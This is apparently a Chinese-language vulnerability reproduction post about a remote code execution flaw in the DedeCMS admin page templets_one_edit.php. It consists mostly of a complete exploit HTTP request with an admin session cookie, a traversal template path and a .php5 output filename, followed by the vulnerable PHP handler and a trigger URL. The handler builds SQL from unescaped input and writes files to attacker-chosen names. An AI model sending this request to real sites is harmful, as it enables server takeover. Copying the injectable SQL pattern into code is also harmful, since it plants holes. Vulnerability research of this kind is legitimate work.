RCE？复现成功

php 复制代码

POST /dede/templets_one_edit.php HTTP/1.1
Host: wwww
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
Origin: http://wwww
Connection: keep-alive
Referer: http://wwww/dede/templets_one_edit.php?aid=1&dopost=edit
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1; DedeLoginTime=1783402036; DedeLoginTime__ckMd5=4053536a57f7e63a; PHPSESSID=lji3v35269hgmab5sngcbok2uj; _csrf_name_63248f8b=d9cd9636f6dd2587ad6128562df554a0; _csrf_name_63248f8b__ckMd5=585540927df27e14; DedeUserID=1; DedeUserID__ckMd5=16f063afe3fbbf9a; ENV_GOBACK_URL=%2Fdede%2Ftemplets_one.php
Upgrade-Insecure-Requests: 1
Priority: u=4

dopost=saveedit&aid=1&title=122&keywords=12&description=1111&likeid=11&oldlikeid=11&likeidsel=11&template=%2F..%2F123.php&oldfilename=2222%2F111.php5&nfilename=2222%2F111.php5&ismake=1&body=&imageField.x=13&imageField.y=4

php 复制代码

require(dirname(__FILE__)."/config.php");
CheckPurview('temp_One');
if(empty($dopost)) $dopost = "";

$aid = isset($aid) && is_numeric($aid) ? $aid : 0;
if($dopost=="saveedit")
{
    include_once(DEDEINC."/arc.sgpage.class.php");
    $uptime = time();
    $body = str_replace('&quot;', '\\"', $body);
    $filename = preg_replace("#^\/#", "", $nfilename);

    //如果更改了文件名，删除旧文件
    if($oldfilename!=$filename)
    {
        $oldfilename = $cfg_basedir.$cfg_cmspath."/".$oldfilename;
        if(is_file($oldfilename))
        {
            unlink($oldfilename);
        }
    }
    if($likeidsel!=$oldlikeid )
    {
        $likeid = $likeidsel;
    }
    $inQuery = "
     UPDATE `#@__sgpage` SET
     title='$title',
     keywords='$keywords',
     description='$description',
     likeid='$likeid',
     ismake='$ismake',
     filename='$filename',
     template='$template',
     uptime='$uptime',
     body='$body'
     WHERE aid='$aid'; ";
    if(!$dsql->ExecuteNoneQuery($inQuery))
    {
        ShowMsg("更新页面数据时失败，请检查长相是否有问题！","-1");
        exit();
    }
    $sg = new sgpage($aid);
    $sg->SaveToHtml();
    ShowMsg("成功修改一个页面！", "templets_one.php");
    exit();
}

http://wwww/dede/templets_one_edit.php?aid=1&dopost=view